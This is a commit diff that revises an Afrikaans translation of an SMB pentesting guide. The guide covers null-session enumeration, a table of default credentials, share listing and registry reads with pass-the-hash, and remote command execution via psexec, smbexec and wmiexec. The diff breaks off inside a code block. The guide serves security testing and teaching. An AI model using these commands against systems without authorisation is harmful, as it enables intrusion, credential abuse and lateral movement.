Translated ['src/network-services-pentesting/pentesting-smb/README.md',

This commit is contained in:
Translator 2025-09-08 06:20:12 +00:00
parent 63034da52d
commit 3d1e93c379
3 changed files with 322 additions and 95 deletions

View File

@ -494,6 +494,7 @@
- [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md) - [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md)
- [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md) - [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md)
- [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md) - [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md)
- [Ksmbd Attack Surface And Fuzzing Syzkaller](network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md)
- [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md) - [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md)
- [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md) - [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md)
- [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md) - [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md)

View File

@ -4,60 +4,61 @@
## **Port 139** ## **Port 139**
Die _**Network Basic Input Output System**_** (NetBIOS)** is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en werkstasies binne 'n plaaslike area netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bereik deur hul NetBIOS-names, wat tot 16 karakters lank kan wees en dikwels verskillend is van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geaktiveer wanneer een toepassing (wat as die kliënt optree) 'n opdrag gee om 'n ander toepassing (wat as die bediener optree) te "bel" deur gebruik te maak van **TCP Port 139**. Die _**Network Basic Input Output System**_** (NetBIOS)** is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en desktops binne 'n plaaslike netwerk (LAN) in staat te stel om met netwerkhardware te kommunikeer en **die oordrag van data oor die netwerk te vergemaklik**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bewerkstellig deur hul NetBIOS-name, wat tot 16 karakters lank kan wees en dikwels verskil van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geïnisieer wanneer een toepassing (wat as die kliënt optree) 'n opdrag gee om 'n ander toepassing (wat as die bediener optree) te "call" deur gebruik te maak van **TCP Port 139**.
``` ```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
``` ```
## Port 445 ## Port 445
Tegniek is Port 139 bekend as NBT oor IP, terwyl Port 445 geïdentifiseer word as SMB oor IP. Die akroniem **SMB** staan vir **Server Message Blocks**, wat ook modern bekend staan as die **Common Internet File System (CIFS)**. As 'n toepassingslaagnetwerkprotokol, word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte te fasiliteer, en verskeie vorme van kommunikasie tussen knope op 'n netwerk te ondersteun. Tegnies verwys Port 139 na NBT over IP, terwyl Port 445 geïdentifiseer word as SMB over IP. Die akroniem **SMB** staan vir **Server Message Blocks**, wat ook modern bekend is as die **Common Internet File System (CIFS)**. As 'n toepassingslaag-netwerkprotokol word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers en seriële poorte te verleen, en om verskeie vorme van kommunikasie tussen nodes op 'n netwerk te fasiliteer.
Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor TCP/IP kan werk, wat die noodsaaklikheid vir NetBIOS oor TCP/IP uitskakel, deur die gebruik van poort 445. Aan die ander kant, op verskillende stelsels, word die gebruik van poort 139 waargeneem, wat aandui dat SMB saam met NetBIOS oor TCP/IP uitgevoer word. Byvoorbeeld, in die konteks van Windows word beklemtoon dat SMB direk oor TCP/IP kan werk deur gebruik te maak van port 445, wat die behoefte aan NetBIOS oor TCP/IP uitskakel. Omgekeerd word by ander stelsels die gebruik van port 139 waargeneem, wat aandui dat SMB in samewerking met NetBIOS oor TCP/IP uitgevoer word.
``` ```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
``` ```
### SMB ### SMB
Die **Server Message Block (SMB)** protokol, wat in 'n **klient-bediener** model werk, is ontwerp om **toegang tot lêers**, gidse, en ander netwerkbronne soos drukkers en routers te reguleer. Primêr gebruik binne die **Windows** bedryfstelselreeks, verseker SMB terugwaartse kompatibiliteit, wat toestelle met nuwer weergawes van Microsoft se bedryfstelsel in staat stel om naatloos met dié wat ouer weergawes draai, te kommunikeer. Daarbenewens bied die **Samba** projek 'n gratis sagtewareoplossing, wat SMB se implementering op **Linux** en Unix stelsels moontlik maak, en sodoende kruisplatformkommunikasie deur SMB fasiliteer. Die **Server Message Block (SMB)**-protokol, wat in 'n **client-server**-model werk, is ontwerp om **toegang tot lêers**, gidse en ander netwerkbronne soos printers en routers te reguleer. Dit word hoofsaaklik binne die **Windows**-bedryfstelselreeks gebruik. SMB verseker agterwaartse versoenbaarheid, sodat toestelle met nuwer weergawes van Microsoft se bedryfstelsel naatloos met toestelle wat ouer weergawes gebruik kan kommunikeer. Boonop bied die **Samba**-projek 'n gratis sagteware-oplossing wat die implementering van SMB op **Linux**- en Unix-stelsels moontlik maak en sodoende kruisplatformkommunikasie via SMB vergemaklik.
Aandeel, wat **arbitraire dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiërargie gedeeltelik **onafhanklik** van die bediener se werklike struktuur sigbaar maak aan 'n kliënt. Die **Access Control Lists (ACLs)**, wat **toegangregte** definieer, stel **fynbeheer** oor gebruikersregte moontlik, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is onderskeibaar van die plaaslike regte wat op die bediener gestel is. Shares, wat **willekeurige dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB-bediener aangebied word, wat die hiërargie vir 'n kliënt sigbaar maak wat gedeeltelik **onafhanklik** is van die werklike struktuur van die bediener. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, laat vir **fynkorrelige beheer** oor gebruikerspermissies toe, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie permissies kan gebaseer op die shares aan individuele gebruikers of groepe toegekên word en is apart van die plaaslike permissies wat op die bediener ingestel is.
### IPC$ Share ### IPC$ Share
Toegang tot die IPC$ aandeel kan verkry word deur 'n anonieme nul sessie, wat interaksie met dienste wat via benoemde pype blootgestel word, moontlik maak. Die nut `enum4linux` is nuttig vir hierdie doel. Korrek gebruik, stel dit in staat om die volgende te verkry: Toegang tot die IPC$ share kan verkry word via 'n anonieme null session, wat interaksie met dienste wat deur named pipes blootgestel word moontlik maak. Die nutsprogram `enum4linux` is nuttig hiervoor. As dit behoorlik gebruik word, stel dit in staat om die volgende te bekom:
- Inligting oor die bedryfstelsel - Inligting oor die bedryfstelsel
- Besonderhede oor die ouerdomein - Besonderhede oor die ouer-domein
- 'n Samevoeging van plaaslike gebruikers en groepe - 'n Samestelling van plaaslike gebruikers en groepe
- Inligting oor beskikbare SMB aandele - Inligting oor beskikbare SMB shares
- Die effektiewe stelselsekuriteitsbeleid - Die geldende stelsel-sekuriteitsbeleid
Hierdie funksionaliteit is krities vir netwerkadministrateurs en sekuriteitsprofessionals om die sekuriteitsposisie van SMB (Server Message Block) dienste op 'n netwerk te evalueer. `enum4linux` bied 'n omvattende oorsig van die teikenstelsel se SMB omgewing, wat noodsaaklik is om potensiële kwesbaarhede te identifiseer en te verseker dat die SMB dienste behoorlik beveilig is. Hierdie funksionaliteit is noodsaaklik vir netwerkadministrateurs en sekuriteitspraktisyns om die sekuriteitstoestand van SMB (Server Message Block)-dienste op 'n netwerk te evalueer. `enum4linux` bied 'n omvattende oorsig van die teikenstelsel se SMB-omgewing, wat noodsaaklik is om potensiële kwesbaarhede te identifiseer en te verseker dat die SMB-dienste behoorlik beveilig is.
```bash ```bash
enum4linux -a target_ip enum4linux -a target_ip
``` ```
Die bogenoemde opdrag is 'n voorbeeld van hoe `enum4linux` gebruik kan word om 'n volledige enumerasie teen 'n teiken gespesifiseer deur `target_ip` uit te voer. Die bogenoemde opdrag is 'n voorbeeld van hoe `enum4linux` gebruik kan word om 'n full enumeration teen 'n teiken gespesifiseer deur `target_ip` uit te voer.
## Wat is NTLM ## Wat is NTLM
As jy nie weet wat NTLM is of jy wil weet hoe dit werk en hoe om dit te misbruik nie, sal jy hierdie bladsy oor **NTLM** baie interessant vind waar verduidelik word **hoe hierdie protokol werk en hoe jy daarvan kan voordeel trek:** As jy nie weet wat NTLM is nie of as jy wil weet hoe dit werk en hoe om dit te misbruik, sal jy hierdie bladsy oor **NTLM** baie interessant vind, waarin verduidelik word **hoe hierdie protokol werk en hoe jy dit kan uitbuit:**
{{#ref}} {{#ref}}
../../windows-hardening/ntlm/ ../../windows-hardening/ntlm/
{{#endref}} {{#endref}}
## **Bediener Enumerasie** ## **Server Enumeration**
### **Skandeer** 'n netwerk op soek na gasheer: ### **Scan** a network op soek na hosts:
```bash ```bash
nbtscan -r 192.168.0.1/24 nbtscan -r 192.168.0.1/24
``` ```
### SMB bediener weergawe ### SMB-bedienerweergawe
Om te soek na moontlike exploits vir die SMB weergawe, is dit belangrik om te weet watter weergawe gebruik word. As hierdie inligting nie in ander gebruikte gereedskap verskyn nie, kan jy: Om na moontlike exploits vir die SMB-bedienerweergawe te soek, is dit belangrik om te weet watter weergawe gebruik word. As hierdie inligting nie in ander gebruikte gereedskap verskyn nie, kan jy:
- Gebruik die **MSF** bykomende module `**auxiliary/scanner/smb/smb_version**` - Gebruik die **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
- Of hierdie skrif: - Of hierdie skrip:
```bash ```bash
#!/bin/sh #!/bin/sh
#Author: rewardone #Author: rewardone
@ -74,28 +75,28 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1 echo "" && sleep .1
``` ```
### **Soek ontploffing** ### **Soek exploit**
```bash ```bash
msf> search type:exploit platform:windows target:2008 smb msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb searchsploit microsoft smb
``` ```
### **Mogelijke** Kredensiaal ### **Moontlike Kredensiale**
| **Gebruikersnaam(s)** | **Algemene wagwoorde** | | **Gebruikersnaam(s)** | **Algemene wagwoorde** |
| --------------------- | ----------------------------------------- | | --------------------- | ---------------------------------------- |
| _(leeg)_ | _(leeg)_ | | _(leeg)_ | _(leeg)_ |
| gasheer | _(leeg)_ | | guest | _(blank)_ |
| Administrateur, admin | _(leeg)_, wagwoord, administrateur, admin | | Administrator, admin | _(blank)_, password, administrator, admin |
| arcserve | arcserve, rugsteun | | arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin | | tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, rugsteun | backupexec, rugsteun, arcada | | backupexec, backup | backupexec, backup, arcada |
| toets, laboratorium, demo | wagwoord, toets, laboratorium, demo | | test, lab, demo | password, test, lab, demo |
### Brute Force ### Brute Force
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb) - [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
### SMB Omgewing Inligting ### SMB Omgewingsinligting
### Verkry Inligting ### Verkry Inligting
```bash ```bash
@ -119,9 +120,9 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address> /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address> /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
``` ```
### Lys gebruikers, groepe & aangemelde gebruikers ### Enumerate Users, Groups & Logged On Users
Hierdie inligting behoort reeds van enum4linux en enum4linux-ng versamel te wees. Hierdie inligting behoort reeds deur enum4linux en enum4linux-ng versamel te wees.
```bash ```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>] crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>] crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -139,38 +140,38 @@ enumdomgroups
```bash ```bash
lookupsid.py -no-pass hostname.local lookupsid.py -no-pass hostname.local
``` ```
Oneliner Eenreël
```bash ```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
``` ```
### Metasploit - Lys plaaslike gebruikers op ### Metasploit - Enumereer plaaslike gebruikers
```bash ```bash
use auxiliary/scanner/smb/smb_lookupsid use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local set rhosts hostname.local
run run
``` ```
### **Lys van LSARPC en SAMR rpcclient** ### **Enumerering van LSARPC en SAMR rpcclient**
{{#ref}} {{#ref}}
rpcclient-enumeration.md rpcclient-enumeration.md
{{#endref}} {{#endref}}
### GUI-verbinding vanaf linux ### GUI-verbinding vanaf Linux
#### In die terminal: #### In die terminal:
`xdg-open smb://cascade.htb/` `xdg-open smb://cascade.htb/`
#### In lêerblaaier venster (nautilus, thunar, ens.) #### In die lêerblaaier-venster (nautilus, thunar, ens.)
`smb://friendzone.htb/general/` `smb://friendzone.htb/general/`
## Gedeelde Mappes Lys ## Enumerasie van gedeelde vouers
### Lys gedeelde mappes ### Lys gedeelde vouers
Dit word altyd aanbeveel om te kyk of jy toegang tot enigiets kan kry, as jy nie inligting het nie, probeer om **null** **inligting/gaste gebruiker** te gebruik. Dit word altyd aanbeveel om te kyk of jy enige toegang het. As jy nie credentials het nie, probeer om **null** **credentials/guest user** te gebruik.
```bash ```bash
smbclient --no-pass -L //<IP> # Null user smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -184,7 +185,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
``` ```
### **Verbind/Lys 'n gedeelde gids** ### **Koppel/Lys n gedeelde vouer**
```bash ```bash
#Connect using smbclient #Connect using smbclient
smbclient --no-pass //<IP>/<Folder> smbclient --no-pass //<IP>/<Folder>
@ -196,11 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
``` ```
### **Handmatig vensters deel en verbind daarmee** ### **Handmatig opnoem van Windows shares en daaraan koppel**
Dit mag dalk moontlik wees dat jy beperk is om enige dele van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen dele is om mee te verbind nie. Dit mag dus die moeite werd wees om te probeer om handmatig met 'n deel te verbind. Om die dele handmatig te lys, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige akrediteer). Hierdie mag aandui of die deel bestaan en jy nie toegang daartoe het nie of die deel glad nie bestaan nie. Dit kan wees dat jy beperk is om enige shares van die gasheer-masjien te vertoon, en wanneer jy probeer om hulle te lys, lyk dit asof daar geen shares is om te koppel nie. Dit kan dus die moeite werd wees om kortliks te probeer om manueel aan 'n share te koppel. Om die shares manueel op te noem, wil jy kyk na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME wanneer jy 'n geldige session gebruik (bv. null session of valid credentials). Dit kan aandui of die share bestaan en jy nie toegang daartoe het nie, of die share bestaan glad nie.
Gewone deelname vir venster teikens is Common share names for windows targets are
- C$ - C$
- D$ - D$
@ -211,14 +212,14 @@ Gewone deelname vir venster teikens is
- SYSVOL - SYSVOL
- NETLOGON - NETLOGON
(Gewone deelname van _**Network Security Assessment 3rd edition**_) (Common share names from _**Network Security Assessment 3rd edition**_)
Jy kan probeer om met hulle te verbind deur die volgende opdrag te gebruik Jy kan probeer om daarmee te verbind deur die volgende kommando te gebruik
```bash ```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password) smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
``` ```
of hierdie skrif (met 'n null-sessie) of hierdie script (met 'n null session)
```bash ```bash
#/bin/bash #/bin/bash
@ -240,7 +241,7 @@ voorbeelde
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
``` ```
### **Lys deel van Windows / sonder derdeparty gereedskap** ### **Lys netwerkshares vanaf Windows / sonder gereedskap van derde partye**
PowerShell PowerShell
```bash ```bash
@ -266,16 +267,16 @@ fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares # Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc compmgmt.msc
``` ```
explorer.exe (grafies), voer `\\<ip>\` in om die beskikbare nie-verborgen gedeeltes te sien. explorer.exe (grafies), tik `\\<ip>\` om die beskikbare nie-verborgde shares te sien.
### Monteer 'n gedeelde gids ### Mount 'n shared folder
```bash ```bash
mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
``` ```
### **Laai lêers af** ### **Download files**
Lees vorige afdelings om te leer hoe om met akrediteer/Pass-the-Hash te verbind. Lees die vorige afdelings om te leer hoe om verbinding te maak met credentials/Pass-the-Hash.
```bash ```bash
#Search a file and download #Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -292,34 +293,34 @@ smbclient //<IP>/<share>
``` ```
Opdragte: Opdragte:
- mask: spesifiseer die masker wat gebruik word om die lêers binne die gids te filter (bv. "" vir alle lêers) - mask: spesifiseer die mask wat gebruik word om die lêers binne die gids te filter (bv. "" vir alle lêers)
- recurse: skakel rekursie aan (verstek: af) - recurse: skakel rekursie aan (standaard: af)
- prompt: skakel die vrae vir lêernaam af (verstek: aan) - prompt: skakel die prompting vir lêernaam uit (standaard: aan)
- mget: kopieer alle lêers wat met die masker ooreenstem van die gasheer na die kliëntmasjien - mget: kopieer alle lêers wat aan die mask voldoen van die host na die kliëntmasjien
(_Inligting van die manblad van smbclient_) (_Inligting uit die manpage van smbclient_)
### Domein Gedeelde Gidse Soektog ### Soektog na gedeelde vouers op die domein
- [**Snaffler**](https://github.com/SnaffCon/Snaffler) - [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash ```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data Snaffler.exe -s -d domain.local -o snaffler.log -v data
``` ```
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spin. - [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
- `-M spider_plus [--share <share_name>]` - `-M spider_plus [--share <share_name>]`
- `--pattern txt` - `--pattern txt`
```bash ```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
``` ```
Spesifiek interessant van gedeeltes is die lêers genoem **`Registry.xml`** aangesien hulle **miskien wagwoorde** bevat vir gebruikers wat met **autologon** via Groepbeleid gekonfigureer is. Of **`web.config`** lêers aangesien hulle akrediteerbesonderhede bevat. Spesiaal interessant in shares is die lêers met die naam **`Registry.xml`**, aangesien hulle **miskien wagwoorde bevat** vir gebruikers wat met **autologon** via Group Policy gekonfigureer is. Of **`web.config`**-lêers, aangesien hulle inlogbesonderhede bevat.
> [!TIP] > [!TIP]
> Die **SYSVOL gedeelde** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daarin kan jy **baie** verskillende batch, VBScript, en PowerShell **scripts** **vind**.\ > Die **SYSVOL share** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daarin kan jy baie verskillende batch-, VBScript- en PowerShell **scripts** vind.\
> Jy moet die **scripts** daarin **kontroleer** aangesien jy **sensitiewe** inligting soos **wagwoorde** mag **vind**. > Jy behoort die **scripts** daarin na te gaan, aangesien jy sensitiewe inligting soos **wagwoorde** kan vind.
## Lees Register ## Lees Registry
Jy mag in staat wees om die **register** te **lees** met behulp van sommige ontdekte akrediteerbesonderhede. Impacket **`reg.py`** laat jou toe om te probeer: Jy kan dalk die **Registry** lees met sommige ontdekte inlogbesonderhede. Impacket **`reg.py`** laat jou toe om dit te probeer:
```bash ```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -327,26 +328,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
``` ```
## Post Exploitation ## Post Exploitation
Die **standaardkonfigurasie van** 'n **Samba** bediener is gewoonlik geleë in `/etc/samba/smb.conf` en mag 'n paar **gevaarlike konfigurasies** hê: Die **verstekkonfigurasie van** 'n **Samba** server is gewoonlik geleë in `/etc/samba/smb.conf` en kan sommige **gevaarlike konfigurasies** hê:
| **Instelling** | **Beskrywing** | | **Instelling** | **Beskrywing** |
| --------------------------- | ------------------------------------------------------------------- | | --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Laat toe om beskikbare gedeeltes in die huidige gedeelte te lys? | | `browseable = yes` | Laat toe om beskikbare shares in die huidige share te lys? |
| `read only = no` | Verbied die skepping en wysiging van lêers? | | `read only = no` | Verbied die skep en wysiging van lêers? |
| `writable = yes` | Laat gebruikers toe om lêers te skep en te wysig? | | `writable = yes` | Laat gebruikers toe om lêers te skep en te wysig? |
| `guest ok = yes` | Laat toe om aan die diens te koppel sonder om 'n wagwoord te gebruik? | | `guest ok = yes` | Laat verbind tot die diens toe sonder om 'n wagwoord te gebruik? |
| `enable privileges = yes` | Eer die priviliges wat aan spesifieke SID toegeken is? | | `enable privileges = yes` | Hou priviliges wat aan 'n spesifieke SID toegewys is in ag? |
| `create mask = 0777` | Watter regte moet aan die nuutgeskepte lêers toegeken word? | | `create mask = 0777` | Watter toestemmings moet aan die nuut geskepte lêers toegeken word? |
| `directory mask = 0777` | Watter regte moet aan die nuutgeskepte gidse toegeken word? | | `directory mask = 0777` | Watter toestemmings moet aan die nuut geskepte directories toegeken word? |
| `logon script = script.sh` | Watter skrip moet uitgevoer word wanneer die gebruiker aanmeld? | | `logon script = script.sh` | Watter script moet uitgevoer word by die gebruiker se aanmelding? |
| `magic script = script.sh` | Watter skrip moet uitgevoer word wanneer die skrip gesluit word? | | `magic script = script.sh` | Watter script moet uitgevoer word wanneer die script gesluit word? |
| `magic output = script.out` | Waar moet die uitvoer van die magiese skrip gestoor word? | | `magic output = script.out` | Waar moet die uitvoer van die magic script gestoor word? |
Die opdrag `smbstatus` gee inligting oor die **bediener** en oor **wie verbind is**. Die opdrag `smbstatus` gee inligting oor die **server** en oor **wie gekoppel is**.
## Authenticate using Kerberos ## Verifieer met Kerberos
Jy kan **authentiseer** met **kerberos** deur die gereedskap **smbclient** en **rpcclient** te gebruik: Jy kan by **kerberos** **verifieer** deur die gereedskap **smbclient** en **rpcclient** te gebruik:
```bash ```bash
smbclient --kerberos //ws01win10.domain.com/C$ smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com rpcclient -k ws01win10.domain.com
@ -355,7 +356,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec** ### **crackmapexec**
crackmapexec kan opdragte uitvoer **misbruik** van enige van **mmcexec, smbexec, atexec, wmiexec** met **wmiexec** as die **standaard** metode. Jy kan aandui watter opsie jy verkies om te gebruik met die parameter `--exec-method`: crackmapexec kan opdragte uitvoer deur enige van **mmcexec, smbexec, atexec, wmiexec** te misbruik, waar **wmiexec** die **standaard** metode is. Jy kan aandui watter opsie jy verkies met die parameter `--exec-method`:
```bash ```bash
apt-get install crackmapexec apt-get install crackmapexec
@ -379,8 +380,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
``` ```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
Albei opsies sal **n nuwe diens skep** (met _\pipe\svcctl_ via SMB) op die slagoffer masjien en dit gebruik om **iets uit te voer** (**psexec** sal **n uitvoerbare lêer op ADMIN$ deel oplaai en **smbexec** sal na **cmd.exe/powershell.exe** wys en die argumente die payload --**file-less technique-**- insit).\ Albei opsies sal **'n nuwe diens skep** (deur _\pipe\svcctl_ via SMB te gebruik) op die slagoffer se masjien en dit gebruik om **iets uit te voer** (**psexec** sal **upload** 'n executable file na ADMIN$ share en **smbexec** sal na **cmd.exe/powershell.exe** wys en die payload in die argumente plaas --**file-less technique-**-).\
**Meer inligting** oor [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)en [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ **Meer info** oor [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) en [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/ In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
```bash ```bash
#If no password is provided, it will be prompted #If no password is provided, it will be prompted
@ -389,19 +390,19 @@ In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
``` ```
Met **parameter** `-k` kan jy teen **kerberos** autentiseer in plaas van **NTLM**. Deur die **parameter**`-k` te gebruik kan jy teen **kerberos** authentikeer in plaas van **NTLM**
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Stealthily voer 'n opdrag shell uit sonder om die skyf aan te raak of 'n nuwe diens te laat loop deur DCOM via **poort 135.**\ Voer heimlik 'n command shell uit sonder om die skyf te raak of 'n nuwe diens te laat loop deur DCOM via **port 135.**\
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/ In **kali** is dit geleë by /usr/share/doc/python3-impacket/examples/
```bash ```bash
